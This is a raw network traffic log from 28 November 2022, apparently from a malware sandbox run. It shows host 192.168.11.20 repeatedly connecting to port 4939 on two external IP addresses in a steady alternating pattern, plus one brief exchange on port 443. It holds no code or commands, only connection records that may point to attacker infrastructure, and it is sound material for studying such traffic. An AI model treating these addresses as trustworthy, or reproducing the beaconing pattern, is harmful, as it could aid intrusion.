Nov 28, 2022 20:47:20.376374006 CET	4939	49869	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:20.377443075 CET	49870	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:20.399269104 CET	4939	49870	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:20.909835100 CET	49870	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:20.932260036 CET	4939	49870	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:21.440903902 CET	49870	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:21.461241961 CET	4939	49870	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:21.972048998 CET	49870	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:21.991928101 CET	4939	49870	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:22.503307104 CET	49870	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:22.524359941 CET	4939	49870	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:23.646581888 CET	49871	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:23.690610886 CET	4939	49871	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:24.205925941 CET	49871	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:24.250307083 CET	4939	49871	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:24.752588987 CET	49871	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:24.796756983 CET	4939	49871	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:25.299446106 CET	49871	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:25.343401909 CET	4939	49871	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:25.846168041 CET	49871	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:25.890443087 CET	4939	49871	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:25.908504963 CET	49873	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:25.928417921 CET	4939	49873	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:26.439799070 CET	49873	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:26.458756924 CET	4939	49873	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:26.970918894 CET	49873	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:26.990601063 CET	4939	49873	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:27.502032995 CET	49873	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:27.523559093 CET	4939	49873	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:28.033198118 CET	49873	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:28.052664995 CET	4939	49873	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:29.065733910 CET	49874	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:29.113929033 CET	4939	49874	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:29.626665115 CET	49874	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:29.671199083 CET	4939	49874	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:30.173465967 CET	49874	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:30.217781067 CET	4939	49874	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:30.720168114 CET	49874	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:30.764647961 CET	4939	49874	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:31.266881943 CET	49874	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:31.311995029 CET	4939	49874	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:31.313184023 CET	49875	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:31.331687927 CET	4939	49875	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:31.844870090 CET	49875	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:31.863583088 CET	4939	49875	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:32.375952959 CET	49875	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:32.394808054 CET	4939	49875	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:32.907057047 CET	49875	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:32.926281929 CET	4939	49875	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:33.438324928 CET	49875	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:33.457253933 CET	4939	49875	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:34.470109940 CET	49876	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:34.514564037 CET	4939	49876	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:35.016002893 CET	49876	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:35.060014009 CET	4939	49876	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:35.562793016 CET	49876	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:35.606889963 CET	4939	49876	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:36.109487057 CET	49876	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:36.153744936 CET	4939	49876	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:36.656300068 CET	49876	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:36.700844049 CET	4939	49876	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:36.702177048 CET	49877	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:36.724539995 CET	4939	49877	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:37.234266996 CET	49877	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:37.253253937 CET	4939	49877	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:37.765352011 CET	49877	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:37.785079002 CET	4939	49877	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:38.296519995 CET	49877	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:38.317178965 CET	4939	49877	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:38.827662945 CET	49877	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:38.849973917 CET	4939	49877	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:39.860158920 CET	49878	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:39.904262066 CET	4939	49878	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:40.405510902 CET	49878	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:40.449485064 CET	4939	49878	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:40.952287912 CET	49878	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:40.997373104 CET	4939	49878	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:41.499001026 CET	49878	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:41.544609070 CET	4939	49878	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:42.045797110 CET	49878	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:42.090396881 CET	4939	49878	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:42.092114925 CET	49879	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:42.112549067 CET	4939	49879	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:42.623747110 CET	49879	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:42.645762920 CET	4939	49879	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:43.154839993 CET	49879	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:43.176590919 CET	4939	49879	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:43.686027050 CET	49879	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:43.707895041 CET	4939	49879	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:44.217184067 CET	49879	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:44.239690065 CET	4939	49879	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:45.250463963 CET	49880	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:45.294774055 CET	4939	49880	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:45.795043945 CET	49880	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:45.839243889 CET	4939	49880	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:46.341785908 CET	49880	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:46.386768103 CET	4939	49880	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:46.888534069 CET	49880	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:46.933554888 CET	4939	49880	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:47.219949007 CET	49881	443	192.168.11.20	149.154.167.220
Nov 28, 2022 20:47:47.220041037 CET	443	49881	149.154.167.220	192.168.11.20
Nov 28, 2022 20:47:47.220273972 CET	49881	443	192.168.11.20	149.154.167.220
Nov 28, 2022 20:47:47.222515106 CET	49881	443	192.168.11.20	149.154.167.220
Nov 28, 2022 20:47:47.222592115 CET	443	49881	149.154.167.220	192.168.11.20
Nov 28, 2022 20:47:47.271791935 CET	443	49881	149.154.167.220	192.168.11.20
Nov 28, 2022 20:47:47.272203922 CET	49881	443	192.168.11.20	149.154.167.220
Nov 28, 2022 20:47:47.273874998 CET	49881	443	192.168.11.20	149.154.167.220
Nov 28, 2022 20:47:47.273884058 CET	443	49881	149.154.167.220	192.168.11.20
Nov 28, 2022 20:47:47.274091005 CET	443	49881	149.154.167.220	192.168.11.20
Nov 28, 2022 20:47:47.276776075 CET	49881	443	192.168.11.20	149.154.167.220
Nov 28, 2022 20:47:47.306195974 CET	443	49881	149.154.167.220	192.168.11.20
Nov 28, 2022 20:47:47.306814909 CET	49881	443	192.168.11.20	149.154.167.220
Nov 28, 2022 20:47:47.348495007 CET	443	49881	149.154.167.220	192.168.11.20
Nov 28, 2022 20:47:47.435288906 CET	49880	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:47.480034113 CET	4939	49880	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:47.481199026 CET	49882	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:47.500781059 CET	4939	49882	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:47.584187984 CET	443	49881	149.154.167.220	192.168.11.20
Nov 28, 2022 20:47:47.584479094 CET	443	49881	149.154.167.220	192.168.11.20
Nov 28, 2022 20:47:47.584695101 CET	49881	443	192.168.11.20	149.154.167.220
Nov 28, 2022 20:47:47.584846020 CET	49881	443	192.168.11.20	149.154.167.220
Nov 28, 2022 20:47:48.013235092 CET	49882	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:48.034236908 CET	4939	49882	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:48.544378042 CET	49882	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:48.566924095 CET	4939	49882	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:49.075504065 CET	49882	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:49.095714092 CET	4939	49882	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:49.606627941 CET	49882	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:49.626913071 CET	4939	49882	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:50.638473988 CET	49883	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:50.683064938 CET	4939	49883	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:51.184375048 CET	49883	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:51.231936932 CET	4939	49883	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:51.746819973 CET	49883	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:51.795710087 CET	4939	49883	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:52.309180021 CET	49883	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:52.353178978 CET	4939	49883	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:52.855859041 CET	49883	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:52.900235891 CET	4939	49883	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:52.901345968 CET	49884	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:52.921690941 CET	4939	49884	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:53.433979988 CET	49884	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:53.453741074 CET	4939	49884	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:53.965116978 CET	49884	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:53.988149881 CET	4939	49884	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:54.496181011 CET	49884	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:54.517004967 CET	4939	49884	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:55.027373075 CET	49884	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:55.050951958 CET	4939	49884	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:56.059159994 CET	49886	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:56.104069948 CET	4939	49886	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:56.605123043 CET	49886	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:56.651326895 CET	4939	49886	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:57.151917934 CET	49886	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:57.196443081 CET	4939	49886	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:57.698677063 CET	49886	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:57.743428946 CET	4939	49886	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:58.245512009 CET	49886	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:58.291467905 CET	4939	49886	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:58.292825937 CET	49887	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:58.311909914 CET	4939	49887	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:58.823415995 CET	49887	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:58.842113972 CET	4939	49887	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:59.354518890 CET	49887	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:59.373331070 CET	4939	49887	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:59.885674000 CET	49887	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:59.904881001 CET	4939	49887	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:00.417037010 CET	49887	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:00.436469078 CET	4939	49887	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:01.449192047 CET	49888	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:01.494345903 CET	4939	49888	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:02.010118008 CET	49888	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:02.054373026 CET	4939	49888	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:02.556917906 CET	49888	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:02.601150990 CET	4939	49888	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:03.103982925 CET	49888	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:03.154213905 CET	4939	49888	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:03.666153908 CET	49888	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:03.711240053 CET	4939	49888	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:03.725027084 CET	49889	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:03.744400024 CET	4939	49889	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:04.259731054 CET	49889	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:04.279089928 CET	4939	49889	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:04.790815115 CET	49889	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:04.810209990 CET	4939	49889	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:05.321897984 CET	49889	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:05.340557098 CET	4939	49889	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:05.853063107 CET	49889	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:05.872050047 CET	4939	49889	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:06.885001898 CET	49890	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:06.930011034 CET	4939	49890	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:07.430861950 CET	49890	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:07.476394892 CET	4939	49890	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:07.977597952 CET	49890	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:08.022696018 CET	4939	49890	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:08.524425983 CET	49890	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:08.568957090 CET	4939	49890	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:09.071124077 CET	49890	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:09.115643978 CET	4939	49890	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:09.116796970 CET	49891	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:09.136338949 CET	4939	49891	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:09.649280071 CET	49891	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:09.671592951 CET	4939	49891	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:10.180289984 CET	49891	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:10.201595068 CET	4939	49891	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:10.711513996 CET	49891	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:10.734637976 CET	4939	49891	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:11.242691994 CET	49891	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:11.264868021 CET	4939	49891	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:12.275048971 CET	49892	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:12.319439888 CET	4939	49892	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:12.820399046 CET	49892	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:12.865056992 CET	4939	49892	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:13.367299080 CET	49892	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:13.412168980 CET	4939	49892	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:13.914052963 CET	49892	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:13.958839893 CET	4939	49892	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:14.460845947 CET	49892	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:14.505955935 CET	4939	49892	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:14.507051945 CET	49893	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:14.527861118 CET	4939	49893	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:15.038549900 CET	49893	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:15.057415962 CET	4939	49893	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:15.569746017 CET	49893	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:15.590981960 CET	4939	49893	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:16.100945950 CET	49893	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:16.123389959 CET	4939	49893	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:16.632164955 CET	49893	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:16.652225971 CET	4939	49893	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:17.663739920 CET	49894	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:17.707984924 CET	4939	49894	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:18.209780931 CET	49894	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:18.255372047 CET	4939	49894	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:18.756551027 CET	49894	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:18.801532984 CET	4939	49894	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:19.303369045 CET	49894	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:19.348587990 CET	4939	49894	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:19.850166082 CET	49894	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:19.895392895 CET	4939	49894	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:19.896608114 CET	49895	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:19.917488098 CET	4939	49895	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:20.428016901 CET	49895	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:20.448134899 CET	4939	49895	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:20.959081888 CET	49895	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:20.980148077 CET	4939	49895	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:21.490242004 CET	49895	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:21.510705948 CET	4939	49895	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:22.021528006 CET	49895	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:22.041939974 CET	4939	49895	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:23.053397894 CET	49896	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:23.100277901 CET	4939	49896	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:23.614820957 CET	49896	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:23.659523010 CET	4939	49896	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:24.161696911 CET	49896	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:24.208878040 CET	4939	49896	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:24.723988056 CET	49896	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:24.768929958 CET	4939	49896	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:25.271173954 CET	49896	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:25.315886974 CET	4939	49896	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:25.317104101 CET	49897	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:25.337671995 CET	4939	49897	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:25.848822117 CET	49897	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:25.869443893 CET	4939	49897	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:26.379930973 CET	49897	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:26.400593996 CET	4939	49897	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:26.911104918 CET	49897	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:26.931580067 CET	4939	49897	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:27.442109108 CET	49897	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:27.462529898 CET	4939	49897	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:28.609685898 CET	49900	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:28.654170036 CET	4939	49900	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:29.160563946 CET	49900	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:29.205688953 CET	4939	49900	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:29.707320929 CET	49900	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:29.751846075 CET	4939	49900	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:30.254163027 CET	49900	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:30.299135923 CET	4939	49900	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:30.800789118 CET	49900	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:30.844949007 CET	4939	49900	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:30.867549896 CET	49901	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:30.889775991 CET	4939	49901	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:31.394592047 CET	49901	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:31.416409016 CET	4939	49901	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:31.925617933 CET	49901	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:31.947500944 CET	4939	49901	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:32.456753016 CET	49901	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:32.476288080 CET	4939	49901	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:32.987921953 CET	49901	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:33.010363102 CET	4939	49901	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:34.019665956 CET	49902	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:34.064347029 CET	4939	49902	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:34.565716982 CET	49902	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:34.610871077 CET	4939	49902	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:35.112359047 CET	49902	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:35.156851053 CET	4939	49902	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:35.659265995 CET	49902	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:35.703838110 CET	4939	49902	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:36.205982924 CET	49902	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:36.252629042 CET	4939	49902	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:36.253928900 CET	49903	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:36.276465893 CET	4939	49903	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:36.783832073 CET	49903	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:36.805262089 CET	4939	49903	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:37.314973116 CET	49903	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:37.335720062 CET	4939	49903	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:37.846147060 CET	49903	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:37.866957903 CET	4939	49903	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:38.377337933 CET	49903	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:38.400446892 CET	4939	49903	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:39.410587072 CET	49904	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:39.455534935 CET	4939	49904	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:39.970618010 CET	49904	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:40.015165091 CET	4939	49904	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:40.517391920 CET	49904	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:40.561372995 CET	4939	49904	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:41.064287901 CET	49904	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:41.111026049 CET	4939	49904	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:41.626614094 CET	49904	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:41.671483994 CET	4939	49904	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:41.672671080 CET	49905	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:41.693177938 CET	4939	49905	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:42.204479933 CET	49905	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:42.226440907 CET	4939	49905	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:42.735704899 CET	49905	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:42.757587910 CET	4939	49905	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:43.266813993 CET	49905	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:43.286003113 CET	4939	49905	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:43.797965050 CET	49905	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:48:43.820360899 CET	4939	49905	37.0.14.209	192.168.11.20
Nov 28, 2022 20:48:44.829834938 CET	49906	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:44.874061108 CET	4939	49906	84.38.134.104	192.168.11.20
Nov 28, 2022 20:48:45.375729084 CET	49906	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:48:45.422388077 CET	4939	49906	84.38.134.104	192.168.11.20
